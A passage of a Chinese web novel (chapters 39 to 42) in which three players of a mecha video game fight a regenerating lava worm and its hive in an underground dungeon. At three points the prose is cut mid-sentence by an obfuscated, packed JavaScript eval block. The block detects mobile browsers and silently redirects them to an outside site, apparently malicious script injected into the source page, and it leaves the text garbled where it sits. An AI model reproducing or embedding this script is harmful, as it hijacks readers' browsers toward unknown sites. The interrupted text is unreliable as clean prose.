她们在穿梭舰观光了个爽之后，穿梭舰着陆，停在手掌地标的旁边。 林别歌伸出试探的jiojio：“能，能直接踩下去吗？不是说表面温度最低也有300度？” “不用担心，天幕圈起来的部分温度正常。是这片行星唯一安全的区域。” “而且这是游戏。” 陶影再次提醒，说着，指着前面的地标：“不去信仰之手打个卡？” 信仰之手，就是那只黑色手掌。 在星舰上看着的时候，小小一个，在地面上看，却有几百米宽，堪比运动场的顶棚，看过去极其有冲击力。 手掌底下插着牌子，上面写着“我在弗拉姆星很想你”。 两位队友一前一后，拉着陶影过去，在牌子面前摆好姿势，就是一阵截图。 林别歌：“没想到这个手掌竟然这么大？从下面看上去，简直像一朵黑色的平菇。啊，饿了。” 南卦：“像天鹅张开翅膀吧？” 陶影已经习惯了两位队友的奇特比喻：“嗯，都挺像的。” 陶影的视线在广场上扫射了一圈，慢慢走到头顶感叹号的NPC面前。 这里聚集了十几名玩家。有几个在找队友一起打副本，有几个没动，应该是在挂机。 陶影和NPC对话几句后，点开任务详情。 【任务名称：火山深处-热渊迷宫】 【任务类型：调查、生存】 【任务内容：十天前，卡索涅尔星第七军团的一支一等兵小队，前来这里捣毁一个虫巢，但有来无回，你需要协助幸存者进入虫巢调查具体情况。】 【推荐玩家等级：一等兵。】 【推荐游玩人数：5~10人。】 顺带一提，她们现在的积分等级，是预备三等兵。 唔，和一等兵之间差了堂堂9000积分。 火种游戏内，积分不限制强度，但会限制机甲型号，和能接取的任务等级。 陶影点击接取任务，果然，NPC提示她：“你水平不够，还是练练再来吧。” 系统提示： 【这里是高级副本，你需要找到至少一名一等兵队友，才可以接取任务。】 陶影转过身，除了她，还有两个人在找人组队。 他们头上顶着花花绿绿的彩色称号，边框右上角写着数字“100”，这是天梯榜排行靠前的奖励，起码前100名。 这个水平，肯定是上校级别了，估计不会跟新人组队，但谁知道呢，问问她又不吃亏。 陶影走上前去。 “组队吗？” 看到陶影说要组队，那两人先是兴奋，但看到陶影头上天使一样的金色光圈后，又肉眼可见变得失望起来。 “什么啊，你还在新手保护期？” “你是来观光的。” “不，我们也是来打副本的。组队吗？” “你？”那人上下打量了陶影一下，“呃，你们最好还是从最基本的副本开始吧。” 他们显然没有兴趣和新人组队，说完，又继续去找队友了。 南卦低落：“他们拒绝了哎。” 陶影摊手：“被拒绝也很正常，再想其它办法就可以了。” 找了一圈也没有人愿意组队，又在公频发了组队悬赏，但发出去很久也没有人回。 陶影想了想，点开之前猫核拉她进去的小群。 “在弗拉姆星打本，有人来凑个数吗？一个就行。” “哦！S老师！截个图纪念一下你在群里的第一次发言。” “欢迎S老师！”“欢迎S老师！”“欢迎S老师！” 群里气氛挺好友好的，大家七嘴八舌。 “不过你去弗拉姆星干什么？那里的副本我记得只有热渊迷宫？” “就是热渊迷宫。新手场暂时爬不动，打虫族练练手。” “哦——”这个想法有一定的道理。 但同时产生了更大的问题。 有人委婉道：“那个副本，对新人可能有点太难了，你最好等到后期再做。” “我知道，这个副本挺特殊的。” “知道你还？” “心里有数。” “哎，有数什么呀。那个副本跟新手教程可不是一个难度。我第一次进去的时候差点被吓尿了。” 群友发了一个摇头.gif的表情包。 不过既然玩家S都这么说了，那他也不劝了，玩游戏不就是为了开心嘛。 “群友都忙着上课，找组队有点难，你再在群里多问问。” “糟了，老师今天突然小测，溜了溜了！” “啊啊啊这个老师怎么这么喜欢小测！救救我！”群里的人一下子开始哀嚎起来。 本来以为是考据群，难不成这其实是哪个军校的班级课程群吗……？陶影咂摸一下嘴。 陶影找队友的消息很快被刷了上去，大部分人都是来凑热闹的，没一个递纸的。 直到猫核的头像亮了起来。 “哦！猫老师上线啦！” “猫老师今天也爬榜吗？” “哦，不了。我两个队友今天被老师逮去做苦力了，还好我眼疾手快才逃出生天。奖励自己放一天假好了。嗯？S老师！你在弗拉姆星吗！太巧了，我正好去那附近。” 猫核看到陶影的组队信息，刚问了一句，就拍板，一定要跟她们一起打副本。 猫核似乎笃定陶影是天梯榜某位大佬的马甲。 “S老师，等着，我就来！一定要让你说出你是谁！” “那就拭目以待了，”陶影笑出声，“我跟队友在入口处等你。” “好嘞！” 猫核很快也坐星舰到了弗拉姆星。 她顶着一头七彩色还会发光的头发，本来就非常显眼，今天还戴了机械猫猫耳机，身上穿着白色毛绒的皮肤，比昨天更显眼了。 猫核隔大老远就非常有活力地朝这边挥手。 “我猫大人来辣——” 然后以百米冲刺的速度冲了过来。 陶影提前预判，往左站了一步，猫核结结实实扑到了林别歌怀里。 “哦！”猫核一双猫猫眼抬起头，眼睛里冒着星星，“好硬的肌肉！我喜欢。” 南卦凑了过来，小声道：“我感觉猫核老师跟林别歌T恤上那只白色猫猫兽人长得特别像。” 是哎，陶影转过头，再一看，林别歌的手已经忍不住伸向了猫老师的耳朵。 陶影和南卦齐齐轻咳了一声：“林比格老师。” 林别歌手在半空抖了一下，收了回去，抬头望天。 “小心福瑞控，猫核老师，”陶影友情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732570|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提醒，“对了，你刚刚说在附近有事。要不先去办了再来跟我们组队？” 猫核摆摆手：“哦没什么，就小事，信仰之手每天下午会刷新一个宇宙商人，可能会刷出稀有道具。我晚点再去也行，先跟你们打完副本。” 陶影顿了一下，微笑：“可能要打很久哦，你真的确定？” 猫核挥挥手，非常自信地拍拍胸口：“怎么可能打很久，就这个副本，虫族的站位我都会背了，分分钟带你们通关好吧？” 猫核说完，推着陶影就站到NPC前面。 成功领完任务，她们进入电梯，四个人同时按住背包，点击机甲！ 【机甲展开。】 【已进入危险区。】 一阵失重感后，坠落在驾驶舱上。 猫核的机甲还是昨天比赛时候的那台，雾雨E-0087，辅助机型。 整体冰霜色调，设计冷硬却又不失美感。 机甲后的六片半透明浮动翅膀，作为散热结构，是雾雨系列的经典设计。不仅可以散热，还可以作为天线，对机甲进行电子干扰。 因为外表和实用性，一度被评选为“最受大学生欢迎”的型号。 那天在新手场秒杀她们的应该就是雾雨的干扰系统。 猫核嘿嘿笑出声：“怎么样，我开局刷了好久呢，漂亮吧？我看看你们的机甲是什么型号……怎么还是VX-89？” 她大叫：“我之前不是打给你们两百万火种币吗！可以在游戏内买到性能好一点的机甲了啊！” 还在开量产型练习机是闹哪样！ 现在的军校甚至拿它当练习机都有点过时了，已经购入全新升级款。 她们是打算用VX-89打到通关吗？ 猫核扶额：“也，也没关系，VX-89我也能带你们飞啦，跟在我后面，不要乱跑。副本在地下，有点黑，而且这里的虫族有时候还是满吓人的。” 她们被随机传送到地下洞窟内部。 洞窟不太高，VX-89可以站立，雾雨E-0087高度略高，需要微微低头。 一行人扒拉着墙，继续往洞窟深处探索。 墙体上镶嵌着黑红色的晶体，时不时有粉末扑簌簌落下。每隔一段路就有燃烧的晶石，提供微弱的灯光。 “也没什么吓人的嘛。”林别歌之前被说得怕怕的，现在看来不过如此。 话还没说完，她的VX-89突然踩空，一条腿半跪在地上，半天才拔出来。 她大声喘气：“怎么地上还有洞的？” 那个洞的直径在三十厘米左右，但洞口很深，直接穿到了黑漆漆的楼下。 洞口深处，什么也看不见，但就是时不时有什么重物在地上摩擦的声音。 林别歌吞了一下口水。 “声音是从哪里来的？雷达怎么没有反应？” 猫核满不在乎道：“哦，雷达对它们失效的啦，这里的虫族，身体成分和周围环境差不多。只能靠肉眼找。” “长什么样子？” “跟墙壁颜色差不多吧。” “那怎么可能找得到啊！大家来找茬吗！” 陶影思索片刻，叫了一声队友，“南瓜，你凭直觉判断一下声音的方向。” “啊？直觉吗？”南卦一阵慌乱，她说错了怎么办？ 陶影一眼看出她在想什么，补充道：“你的ESP就是对周围环境的绝对观察力，如果你都说错了，那我们三个的判断只会更有问题。” “那我试试。”南卦深吸一口气，精神力集中了大概三十秒。 “怎么样？” 南卦似乎有点不确定自己的答案，犹豫道：“可能是，刚刚，在脚下？” 猫核捕捉了重点：“刚刚？那现在在哪里。” 窸窸窣窣摩擦地面的声音越来越近。 陶影抬起手，几颗小矿石从头顶落下，弹在VX-89的指缝中。 “唔，在头顶吧？” 40. 第 40 章 最初，只是一阵轻微的震动。 而后，脚下、头顶、四面八方都传来不详的声响。 【空间温度上升。】 【警告，空间温度迅速上升。】 【疑似不明高温生物体接近。】 屏幕上，黄色的感叹号大大闪烁着，短短一分钟，温度曲线波峰直接飙升了六七倍，连驾驶舱内都已经感受到一股热气袭来。 岩壁传来碎裂声。索索，索索。似乎有什么巨大的不可名状的东西，盘旋着，苏醒着，然后沿着岩壁中的蜿蜒而来。 四人齐齐抬头。 它就在那里。 黑色的洞口深处，有什么东西。 像是咀嚼后的呕吐物的气味铺面而来。 她们将洞口死死盯住，然后，洞口突然亮了起来，冒出火光。 “小心，是岩……” 炽热的岩浆从洞口喷出，正对着陶影的位置！ 她操作VX-89下蹲，抛出防护盾。 防护盾在空中展开。 震动中，防护盾瞬间变薄，发出“滋啦滋啦”的声响，周围冒出白气。不过几秒，就被高温气化。 虽然陶影及时后退两步，但依然没能挡住所有岩浆，部分高温岩浆穿透防护盾。 朝她们的位置射来。 “没事吧！”“我没事！” 耳边传来同伴的关心，陶影抬头，看向岩浆喷出的洞口。 片刻后，陶影眼神中带着玩味，轻笑道： “来了。” 三十厘米宽的洞口处，“不明高温生物体”的头部经由粘液润滑，挤了出来。 它整个头部浑圆，没有眼睛，只中间有一个黑色的缝隙，这是它的口器。 口器一张一合，翕动着，似乎在寻找猎物。 但陶影她们没有动，也没有发出声音。 “不明高温生物体”没有发现猎物，头部不耐地甩动几下，重重地撞开了洞口。 随后像凶猛的食肉花朵一样，口器猛然打开！六瓣口器，层层叠叠的尖锐牙齿，一口咬断了面前的岩柱。 它嘎嘣嚼了两下，将碎石吞了下去。 然后张开嘴，牙齿上滴落出黏腻的液体。 不知是谁踩到石子，脚下轻轻地咯吱了一声。 “头部”瞬间捕捉到这点声音。它狂甩一下，扯着身子，蠕动到众人面前。 “咿———————！”一声刺耳的尖叫声，伴随着声波，冲击耳膜。 猫核捂着耳朵，生无可恋：“谁提前把Boss叫醒了喂！岩浆巨蠕对声波很敏感的！” 陶影把石子往身后一踢，严肃地点头：“是啊，谁这么缺德。” 岩浆巨蠕张开嘴发出尖锐的尖叫，一口朝陶影的机甲咬来。 陶影紧急拉住操纵杆避开。 它的头猛扎进地下，直接把那片地扎穿了。 林别歌颤抖着手，一屁股坐在地上。身后有什么软软的东西擦过她的背部，引起一阵战栗。 她慢慢地回过头，吓得差点跳了起来。 一圈一圈的粗壮的环节，比城市里的污水管还要粗。 褶皱的皮肤，不停收缩着，蠕动过的地方留下一层厚重、发黄的黏液。 余光瞥到周围，她们这时才发现，周围的岩壁角落，到处都是三十厘米的洞。这些洞口不是天然形成的，是岩浆巨蠕那长长的身躯，在爬行时打穿的！ 而层层叠叠的洞口之下，它的身体在缓慢蠕动，根本看不见尾部在哪里。 陶影声音里没什么情绪道：“哇，好长，像贪吃蛇。” “这么恐怖的场景你怎么能说出益智游戏的名字？”队友流下了宽面条泪。 “等等，那是什么。” 只见角落里，虫族身体的一部分卡住了，它环节的某一段，不自然地隆起。 里面似乎有什么东西在动。 还有闷声的求救声。 “救救我，救救我！” 下一秒，虫体不适地扭动起来，将那段身体猛地往墙上一撞，隆起的部位发出一声“呃啊！”的人类惨叫声，然后慢慢软下去。 【发现一等兵遗体，调查任务完成度：50%。】 那个突起是被吞进去的人啊！ 南卦代入感极强：“看来这是之前消失的一等兵，真是实力强悍，在岩浆巨蠕内部都能坚持这么久……” 猫核抬起，头顶直冒冷汗：“哈哈，直接遇上虫母是什么运气。” 这个副本的机制是，在探索路上，会不停刷出哨兵虫。哨兵虫是长得像个眼球的怪，它获取到的所有信息，会通过虫群网络，传输给虫母。 所以常规打法是：杀掉哨兵虫，削弱虫母的能力，然后和失去信息来源的虫母慢慢磨。 相当于先给虫母上个debuff。 没有削弱是很难打的。 但也不是完全不能打。 猫核咬牙：“只有虫母，没有哨兵虫的话，我稍微努力一下应该也可以带你们过……” 猫核刚说完，各种洞里逐渐钻出几百只小号巨蠕，还有圆形的球状物。 球状物滚到陶影她们身边，张开眼睛，不停扫描着她们这群外来者的信息。 陶影一指：“哦，哨兵虫，还有幼虫。现在是孵化期？哦，护巢虫也来了，啧啧，好凶。” “……” 哨兵虫！幼虫！追着幼虫来的护巢虫！ 甚至还有来凑热闹的普通工虫，这下齐全啦！好耶！ 敌方打出一个王炸！ 猫核宽面条泪。 “我们怎么会选到这种坐标？” 等下，刚刚坐标是谁选的来着？ 陶影点头：“是啊，好倒霉，怎么偏偏到了虫母头上的坐标呢？对了，比格、南瓜，先忙着别跳舞了，把岩浆蠕虫砍了再说。” “我不是在跳舞！我在躲脚下的超大号眼球，我害怕啊啊啊啊！” “你刚刚看到信仰之手都觉得是平菇，看到眼球不能觉得它是麻团吗？怎么样，是不是没那么害怕了？” 林别歌握拳：“给麻团道歉！！！” 场面乱成了一锅粥。 没办法了，这个新人队伍，只能靠她了，猫核试图稳定核心，挑起队伍大梁：“我来带你们！” 陶影友情提醒：“这个是异化体虫母。猫核，你小心——” 她提醒到一半，熔岩体口中喷出火热的岩浆，直接把雾雨E-0089的六片翅膀烧没了三片。 猫核还要继续移动，但动作缓慢下来，关节更是发出诡异的咔嚓声。 林别歌：“猫老师怎么一直响？” 陶影：“你看看温度表。” “我去，400度！” “雾雨E-0089的翅膀负责散热，在这种高温环境下失去散热，对机甲的性能打击是致命性的。” “那咋办！” “先把虫母引开吧，它的身体温度很高。我们往下层走。”说着陶影蹲下身，在旁边的空洞敲了敲。 “下面不是更烫！不行，我现在就把它干掉。” 那，那句话怎么说的来着？去头可食！ 林别歌鼓起勇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737373|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气，拔出光剑，这是陶影之前给她配的，很轻的一把剑，非常好砍。她跳到岩浆蠕虫头后，弓步一砍，竟真的把头部砍了下来。 林别歌双手举起那一动不动，似乎已经死掉的巨蠕头部，兴奋道：“我砍掉了！” 陶影：“嗯……提醒一下，这个虫族，再生能力比较强。” 林别歌本能性地察觉到一点不妙：“？” 陶影补充：“从中间砍断的话会变成两只。” 下一秒，那条蚯蚓的断点很快又长出一个头，口器张开，朝它们发出尖锐的叫声。 而林别歌手中那条短的也是。 虫：“啊啊啊啊啊！！” 林别歌：“啊啊啊啊啊啊！！！！” 口器贴着她的脸就来了，她把虫甩飞到空中。 陶影无奈地掏出两把热力刀，反手握住，挡在身前。 虫族落地的瞬间—— 热力刀齐齐钉住它的头部和尾部，陶影又用力一下，碾碎了头部。 这次它终于不动了。 陶影用力过度，轻咳了两声，收回刀。 “喏，要两个头同时干掉。或者在其中一个头部完成再生之前砍掉另外一个。” “是的，S老师说得没错。”猫核的机甲躲在角落里，弱弱道。 差点忘了，这里还有一个人。 陶影一拍脑袋：“猫核，你的机器过热，冷却下来之前先在这里别动。我们先把岩浆巨蠕引下去。如果待会儿有什么声音，就双手抱头，找个角落躲起来。”陶影指了一下，“那里就不错。” 猫核还有话想问，陶影已经提前跳到了下一层。 小怪全跟着跳了下去，虫母扭头，也猛冲下去。 猫核砍掉这个空间内，仅剩的一只小怪，慢慢挪动到角落，抱膝。 “想我堂堂天梯榜第九名，此刻竟然弱小可怜且无助地呆在这里，等待回血，放着几个新人去杀加满了正面buff的虫母。丢人，太丢人了。” 猫核小声抽泣，痛心摇头。 …… 陶影自打下楼，就一直在下楼，恍若在玩什么是女人就下一百层的小游戏。 头顶一直传来虫母的口器咬碎石头的声音，听得人牙酸。 身边一群哨兵虫跟着，很影响发挥，幼虫唧唧呱呱的一直叫也很烦。 她们清理了一阵护巢虫，浑身沾满恶心的粘液。 林别歌想砍掉身后一直像个皮球一样弹来弹去的哨兵虫，但被陶影阻止了。 “砍掉哨兵虫可以削弱虫母的视力，为什么阻止我？”林别歌觉得自己的判断非常正确。 陶影点头：“给敌人透露适当的信息，也是战斗的关键。” “说人话。” “我要利用哨兵虫引虫母下去。” 不过一直往下走确实挺累的，陶影右手突然一抬，从背包里掏出脉灼短炮，对准地下来了一炮。 差不多轰穿了十层左右。 她们刚刚经过的层数，还有晶石燃烧照明，但越往下越黑。 十层以下，她们的肉眼就完全看不见了。 “虫母长期在没有光线的地方生存，退化了眼睛，而对声音和动作更加敏感。在上面打不是更好。” 林别歌道。 “你确定还要继续往下？去没有光线的地方？” 南卦搓搓手臂：“小影，下面好黑啊，有点害怕。” “有我在，怕什么。” 陶影站在轰穿的洞中间，直接跳了下去，然后优雅地朝上层伸出手。 “信我吗，队友？” 41. 第 41 章 南卦犹豫了一下，露出大学生的清澈眼神——是的，这位少女目前为止还没有被陶影骗过，对陶影抱有一些很阳光且很错误的期待。 南卦眼神闪光：“我信你，队长！” 被骗过很多次已经自暴自弃的林别歌：…… 她皱眉，望天，一套流程之后，痛苦地答：“哎，信信信，我不管了啦！” 林别歌闭着眼睛也往下跳。 “谢谢信任，你们是我带过最配合的团队。”比莱机所的几位祖宗好指挥多了。 陶影眼中噙泪，连连点头。 阴影中，陶影操纵的VX-89伸出手，结结实实拉住两位队友的机甲。 两人正要踩到地，那台拉住她们的VX-89，却动作一顿。 两位队友觉得，如果机师的表情可以同步机甲的话，陶影现在驾驶的机甲，大抵是露出了一个和善的笑容。 下一秒，VX-89松手，把两位队友扔到了迷宫下层。 两位队友发出无声的尖叫。 “！！” “我就知道！” “影子你给我等着！！！” 咚——啪——duang——咚——啪——duang。 两台机甲接连穿过十几层空洞之后，又因为重量连续冲塌了好几层。 堪堪稳住机甲，队友齐齐抬头，看着从十几层之上的洞口探头的“非常可信的队长”。 陶影：“啊，不小心手滑了。抱歉。” “需要我提醒吗，你语气里一点歉意都没有。”林别歌磨牙。 南卦戳戳林别歌的后腰，不赞同道：“别这么说，小影失手已经很自责了。” 林别歌一脸痛苦：“你那个什么超越常人的观察力为什么到影子身上就没用了？是被屏蔽了吗？你睁开眼看看，她哪里自责了喂！” “小影对我们很好的。” 林别歌痛心疾首：“最好骗的就是你！” 陶影朝洞口探头，一脸关心：“下面很黑吧，但没问题的，以南瓜超越常人的观察力，一定可以帮助你们在黑暗的深渊中discover一条通往光明的路。” “？”“？”两人头顶冒出问号。 队长在说什么？ “你不一起下来？” “刚刚演示过岩浆蠕虫的机制了，”陶影解释道，“要同时毁掉两个头，才能杀死虫母。我在上面，负责这一侧的头部。岩浆巨蠕的另一个头部应该就在你们现在的那层。考验我们配合的时候到了。” “总之加油！”陶影语气上扬。 “那先这样，你俩砍完喊我一声。”陶影语气下降。 说完，陶影抛出防护盾，一阵霹雳啪啦的声响后，防护盾传来强烈的撞击声。 队频里传来林别歌关心的声音。 陶影闪身躲过岩浆巨蠕，大喘一口气，看到底侧的阴影，不忘友好提醒一句：“先顾好自己吧。” 下一秒，队频传来南卦的大喊：“林别歌，你背后有东西！！！！” “啊？背后哪儿啊，我什么都看不见！” 迷宫下层传来巨大的撞击声。 显然两位队员已经开始交战了。 陶影将注意力拉回自己的战场，轻呼一口气，操作面板，观察她的敌人。 蠕虫头部钻入洞口，疯狂甩动，黏液到处飞溅，陶影收起肩部的脉灼短炮，换成了热力刀。 近距离不适合用炮，热力刀更合适。 陶影后退一步，扬起尘埃在空中飞舞。岩浆巨蠕仿佛察觉到什么，猛然转过头，伸长身体，朝她咬来！ “咔——”陶影单手抵挡攻击，又迅速拔出另外一把热力刀，切下它的头……不，没有切下。 陶影只切掉了岩浆蠕虫头部的一半。 她刻意控制了力度。 岩浆蠕虫开始痛苦挣扎，那一半依旧连接的躯体，扯得要掉不掉，伤口处又逐渐长合。 岩浆蠕虫痛苦尖叫一声，叫声里带着仇恨，它破空而来，朝VX-89的头部咬去！ 陶影迅速半跪，避开攻击，右手一抬，将刀插入它体内，然后一个滑铲，剖开鱼腹一般，在岩浆蠕虫腹部拉出长长的伤口。 “哗——” 腹内岩浆喷薄而出，星星点点溅射在岩壁上。 陶影热力刀一挡，岩浆从刀上滴落。 随即轻呼一口气。 她检查一眼面板，剩余体力80%。 虫体在地上抽搐，按数据推断，再生需要五分钟左右。 于是，就在紧张刺激的战场当中——陶影半躺休息，开始看着体力条慢慢回升。 嗯，不错，达到了一个体力上的正循环。 五分钟后，虫体的伤口逐渐融合，又恢复了战斗力。而陶影的体力条也涨回了99%。她直起身，深呼吸一口气，活动了一下手腕关节，按住操作杆。 1V1作战，陶影开机甲的唯一战术是——速战速决，因为她体力只能支撑十分钟。 不过团队作战，她需要想办法延长作战时间。 谁说游戏一定要赢？ 取决于玩的目的是什么。 虽然明知是游戏，但周围的热度，似乎也点燃了她的作战热情。 陶影神色懒洋洋的，眼神却很认真。 她直起身，用力推动操作杆。 第二轮，开始。 …… 而此刻，下层。另一边的战况十分胶着。 主要是因为南卦和林比格的配合依旧很差。 “比格老师，这边！”“哪边啊！” “左边！”“谁的左边啊！哎不知道，我乱砍了！” “比格老师你砍到我了！” “太黑了我看不见你在哪里，说清楚一点！” 用她能听懂的语言！！ 林别歌觉得交流困难。 这场战斗简直跟她决定晚饭吃什么一样迷茫，想当场跪地爆衣嘶吼两声。 南卦的精神力，能敏锐察觉到虫族攻击来的方向——这是陶影说的，但林别歌精神力不高，感受不到，每次影子和南瓜聊到精神力相关的话题，她都神游天外。 就当南卦有超强观察力吧，但完全派不上用场。 “我不行吧？会不会给你们添麻烦？”南卦最爱说的就是这句话。 说真的，林别歌不理解。南卦挺行的呀，成绩也好，精神力也高，为什么老觉得自己不行。遇到问题，还喜欢把“想死”当作口头禅，动不动跑天台坐着。 遇到垃圾不是应该揍回去吗？没能力揍回去，那最起码也骂回去！ 反正林别歌是会骂回去的。 所以她不理解南卦。 说真的，她俩一点都处不来。要不是影子强行给人绑定在一起，林别歌应该直到毕业都不会跟南卦成为朋友。 她觉得麻烦，也不想猜南卦的想法。 她们的性格正正相反。 攻击又来了。林别歌开始摆烂：“哎不想打了，反正打不过。” 南卦却意外很有冲劲：“不啊，我们配合，一定有机会的！” 林别歌嘟囔：“我都听不懂你说话。” “那，那我们交流一下，沟通啊，一定能打过的！信息传递过程中会产生一定偏差，纠正这个偏差是互相理解的基石……你的右边！” 这次的指令终于明确了。 林别歌右手下意识抬起，但她反应慢了。抬手时，已经有什么东西咬上VX-89的肩膀，咬住就不松口，死死拉扯。 VX-89的右臂被硬生生扯了下来。 电火花炸裂在空中，她们瞬间看清了对手——是一只护巢虫。 形状像是大号的甲壳虫，透明翅膀飞快扇动，发出高频震动的声音。 再看林别歌脚下，满地的迷你蠕虫，像白花花的蛆虫，一半踩爆浆了，另一半幼虫往浆液的方向涌来，开始吸食地上不断涌出的白浆。 林别歌一手遮住屏幕，转头干呕：“yue。” 显然护巢虫跟着幼虫而来，被她们的攻击行为刺激到了。 护巢虫在空中飞行，甩开刚咬下的VX-89的右臂，扔到洞窟深处。 微亮的光线照亮了角落，十几只篮球大的眼球齐齐转过头来。 是哨兵虫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742727|171745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> …… 林别歌吞了一下口水，生平第一次理解了南卦的话：“我想死。” 而南卦声音微弱，碎碎地念了两声，林别歌没听清，说的好像是个人名，但南卦语气神叨叨的，听上去像是一串女巫的咒语。 但后面的话，林别歌听清了。 南卦坚定道：“不能死。” “想死可以，但不能真的死。”南卦想了想，搜索背包，换了一个武器——霜灭冰锤。 内置超导体，可以在撞击的瞬间产生脉冲，达到零下270度，接近绝对零度-273.15。 能冻结高温蠕虫。 好像是小影塞给她的。 就它了。 少女温和的眼神，被当下的危机刺激得锋利起来。 哨兵虫确定了她们的位置，扫来一阵风，再次朝林别歌的驾驶舱袭去。 而林别歌的系统还在报警，她被刚才攻击冲击在地上，来不及起身，眼看就要被彻底撕碎，南卦神色一凛，说时迟那时快，跳过去就是一锤子，整个岩壁瞬间冻结，在锤子离开岩体后，岩体因为强烈的温度转换，瞬间碎裂。 南卦挥舞锤体转了一圈，直接将护巢虫踩爆在岩壁上。又是一锤，重重扫飞几只。 她语气带着焦急：“比格老师，你没事吧！” 林别歌惊魂未定，慢慢操纵着起身。 南卦开始碎碎念：“这样下去不行，我们得想想办法。这样，我们背靠着背。我按你的角度说位置，你直接动。” “好。” “左边！哨兵一只！”“好的！” “右边，哨兵！”“好的！” “右腿踢一脚！”“好！” “左一。”“一。” 她们两个就这样配合，竟然还真的逐渐找回了战斗节奏，配合越来越默契。 甚至到后面林别歌都不回话了。 但她们知道，对方一定能听懂自己在说什么。 而某个瞬间，南卦的动作突然僵住了，好像发现了什么东西。 “林别歌，哨兵虫交给你！” “那你呢？” 少女转过身，面对一片黑暗。 那里有什么呢？ 黑暗的环境中，她的精神力似乎能察觉到，那成段成段的环节的终结之处…… 少女动了一下手臂，镜面将头顶一点微弱的光，反射到洞窟深处。 她两手颤抖，完全没有意识到这是一个游戏。 就好像真实存在的某个宇宙一样，她举起霜灭冰锤。 冰锤划破火热的风，南卦的精神力在极强的集中下，瞬间爆发，一击削断那庞然巨物的头顶。 林别歌：…… 队友刚刚是穿过黑暗在什么也看不见的情况下砍掉了岩浆蠕虫的头吗？ 南卦一锤下去，把还在扭动的巨蠕头部捶得脑浆四溅，然后阴森森转过头来。 她摆出胜利姿势。 双手举起岩浆蠕虫的头部，像炫耀钓到大鱼的钓鱼佬，举到林别歌面前。 “你看，就说我们能做到的。”南卦两眼放光。 林别歌脸皱成一坨，不着痕迹地离那条虫远了一点。 “是，是吧。我们配合挺好的。” 空气突然沉默，两人对视，看到对方身上满是黏液的惨样，不知道是谁突然扑哧笑出声，开始相视大笑。 虽然性格不同，也不能理解对方的某些行为。 但互相信任，将后背交给对方的感觉，挺好的。 笑了一阵，正好残余的哨兵虫又攻击过来，南卦和林别歌想起陶影刚刚说干掉岩浆巨蠕之后记得联系她，就一边砍着虫子，一边兴奋联络陶影。 “小影小影，我们成功啦，你那边怎么样！” 陶影没有回答。 南卦和林别歌疑惑地“嗯？”了一声，背靠背，同时看向队友信息栏。 奇怪。 玩家“S”的ID是绿色，后面的状态写着“生存”。 小影还活着，但为什么不回话？ ！！！ 不会是体力条见底，晕过去了吧！ 42. 第 42 章 虫母的头部在地上点了几下，立刻再生。 南卦拖过来又是狠狠的几锤，重复来了好几次，她干脆操纵VX-89，一锤子砸歪了岩浆巨蠕的头，然后一屁股坐在锤头。 吧唧爆汁。 虽然对方是虫族，但这场面十分之血腥暴力。 林别歌转过头，干呕一口：“yue。” 但南卦对此毫无所觉，她岔开腿，两手搭住膝盖，看着队友一脸严肃：“小影不会真晕过去了吧？” 林别歌摇头：“不道啊。影子可能是故意装听不见的，就为了让我俩多打一会儿？” “不要这么说小影啦，她人很好的。” “那是她装的。” “嗯？谁说我坏话？” 队频终于传来了声音。 “小影！”“坏女人！” 陶影睡眼惺忪地看了一眼面板：“啊，不好意思，坏女人刚刚好像睡着了。” “这个危机四伏的环境你也睡得着？” “游戏而已啦。” 光脑助手的警报响起，陶影看了眼时间，今天的游戏时间已经有九个多小时。 现实中的体力也差不多极限了。 “我们这边的虫母又要复活了。你那头呢？砍掉没有。” 陶影慢吞吞：“刚刚趁我休息的时候，它往下层跑了。” “你倒是追啊！” 林别歌已经杀麻了，一开始的害怕早不知道去了哪里。此刻她一脚踩在哨兵虫的头上，脑子里只有回家吃饭。 性子还是那么急，一点都等不了。 陶影摊手，一脸“真拿队友没办法，宠宠你们吧”。 “那进入下一步计划。你们两个找个角落双手抱头，把防御盾开上。” 林别歌警惕：“计划？什么计划？” 陶影掏出手里用胶带捆着的不明黑色物体，咧嘴一笑。 “嗯，你听过钝裁者吗？” “没听过，哪里的机甲型号吗？” 南卦吞了一下口水，弱弱举手：“那个，是高爆炸弹。小小一颗能把整栋楼炸掉的那种。” 林别歌：“？此时掏出这个道具的意义在？” “好玩啊。” 陶影掂了掂炸弹，语气中带着一丝可惜。 “黑市买的，斥资一百万火种币，我刷新了好久才买到。可惜型号太小，不然炸起来应该更好看一点。” 林别歌警惕等级提升到max。 “你，你该不会是想……！” “嗯，尊重你的意见，迅速解决战斗？”陶影无辜地眨眨眼。 然后将炸弹扔了下去。 